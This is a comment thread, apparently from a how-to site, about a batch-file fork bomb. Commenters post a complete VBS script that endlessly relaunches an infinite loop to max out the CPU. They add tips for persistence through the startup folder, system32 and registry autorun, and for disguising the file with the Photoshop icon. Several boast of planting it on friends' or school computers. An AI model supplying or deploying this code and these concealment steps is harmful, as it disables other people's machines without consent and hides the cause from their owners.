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Nov 12, 2009. 12:09 PMratman9 says:
nice...
May 18, 2009. 12:30 AMsharlston says:
how do you unfreeze a computer
Apr 12, 2009. 2:16 PMSkitter302 says:
Time to bring down the school. THKS for the tip.
Mar 29, 2009. 3:12 PMKago says:
if you drop this in the all users startup folder it will disable the comp unill you boot safe mode to get rid of it also i made a few to hide it in windows/system32 and then add it to autorun in reg.
Mar 29, 2009. 3:14 PMKago says:
this is the code i used
reg.reg318 bytes
place.bat112 bytes
Mar 29, 2009. 3:16 PMKago says:
and i stuck it all together with installShield after this installer finishes the file and registry will be placed
Mar 28, 2009. 12:02 PMKago says:
actually in theory you could stop it, but it would only work in early stages of replication, you could stop it by somehow closing ALL of the fork processes, like when there are less than say, 50 it would work
Mar 29, 2009. 10:18 AMKago says:
hm doesnt work like that for me
Feb 2, 2009. 9:47 AMMuscelz says:
i like my way

CREATE A VBS SCRIPT WITH THIS IN IT

do
DIM objShell
set objShell = wscript.createObject("wscript.shell")
iReturn = objShell.Run("CMD /C loop.vbs", background , True)
loop

CREATE A NEW VBS SCRIPT CALLED loop AND PUT THIS INSIDE

do
loop
Feb 2, 2009. 9:50 AMMuscelz says:
oh and run the top one, the top one opens up "Loop.vbs" over and over again in the background, its tottally invisable loop is just a loop of absolutly nuthing, itll pull 100% on any cpu becuase it had no stop or begining and has no set speed, its how fast the cpu can process it
Feb 2, 2009. 9:48 AMMuscelz says:
its a serious irritation script, great to put in /startup
May 13, 2008. 9:11 PMtheRIAA says:
whats the %0 do?
Jan 23, 2009. 3:26 PMEl Mano says:
"Actually, %0 is the same as typing in the full path to the current file." Would "%0" allow me to write a program that would start the folder the .bat file was in? start %0 If so, one could write a File-Locker that could be stored indide a file, but would still work if the folder was moved. Open.bat inside C:\Folder opens C:\Folder. Even if C:\Folder is moved, Open.bat will still open it. I "%0" won't work, is there a command that will open the directory the .bat is located in?
Aug 27, 2008. 3:52 PMzstarski says:
Can you stop it?
Nov 4, 2008. 1:37 PMstephen2803 says:
how do you stop it, what if you want to remove the memory stick?
Jun 12, 2008. 5:55 PMtechno_pig says:
This is pretty cool! Will try. Btw, does it have to be an exe file? Not just batch works?
Oct 15, 2008. 2:27 AMQwertyuioLP says:
you can't edit .exe files
Apr 27, 2009. 5:54 AMmitchell931993 says:
exe is also slightly faster
Aug 24, 2008. 10:03 PMpeanutthegreat says:
dude, fork bombs are awsome! at school i "acidentaly" put them on all my friends desktops. it was hilarious because they got in trouble from the principle.
Jun 5, 2008. 1:16 PMonlyonebowman says:
Sweet, I just made one and hid it as photoshop
Aug 16, 2008. 2:28 PMdavidprosser says:
how did you "hide it as photoshop"?
Aug 18, 2008. 4:30 PMonlyonebowman says:
just by putting the icon of it on
Aug 19, 2008. 5:28 AMdavidprosser says:
Oh I thought you meant it ended it .PSD
Jun 9, 2008. 3:33 AMimkwl12345 says:
What is the thimg in beetween the 2 %0 things?
Jul 3, 2008. 11:29 AMYummyPancakes says:
...Where's the tobacco?
Jul 24, 2008. 4:32 PMCaspar says:
While reading the Wikipedia "Fork Bomb" entry, it reminded me of the "Out-of-Office" auto reply function bug. If 2 users had the function turned on, and one sent a message to the other, a furious exchange of "Sorry, I am out of the office now" messages would speed between the computers, rapidly filling both inboxes. Needless to say, this bug was rapidly fixed.
May 13, 2008. 11:04 PMDELETED_spoonty says:
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Jul 22, 2008. 7:39 AMRedgerr says:
like ops said, you never put like the freze things or shutdown programs on your own computer lol, you put em on friends and when they come to you saying what did ya do you say... UHH NOTHING :O lol :) thats what i do :O
Jul 1, 2008. 7:41 PMDJ Radio says:
I like it, but what if you have to use it?
Jun 13, 2008. 12:11 AMcomputergeek2000 says:
really cool trick
May 15, 2008. 1:46 AMQwertyuioLP says:
is this a prank that you can turn off or not?

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